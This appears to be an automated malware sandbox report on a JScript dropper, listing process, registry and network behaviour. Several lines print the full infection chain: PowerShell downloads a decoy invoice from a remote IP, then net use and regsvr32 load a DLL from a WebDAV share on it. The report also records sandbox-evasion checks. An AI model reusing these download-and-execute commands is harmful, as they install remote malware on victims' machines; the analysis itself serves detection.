Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6687.js.csv");ITextStream.WriteLine(" entry:8325 f:awpoaad");ITextStream.WriteLine(" exec:2 f:awpoaad");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4718			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5145			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 4718 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7660	Thread sleep count: 5145 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7920	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 336	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1469436177.0000025F8FE00000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1470132501.0000025F8FE00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2691347387.000002277C654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2691290518.000002277C63F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2690169421.000002277B02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1469899927.0000025F8FDA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
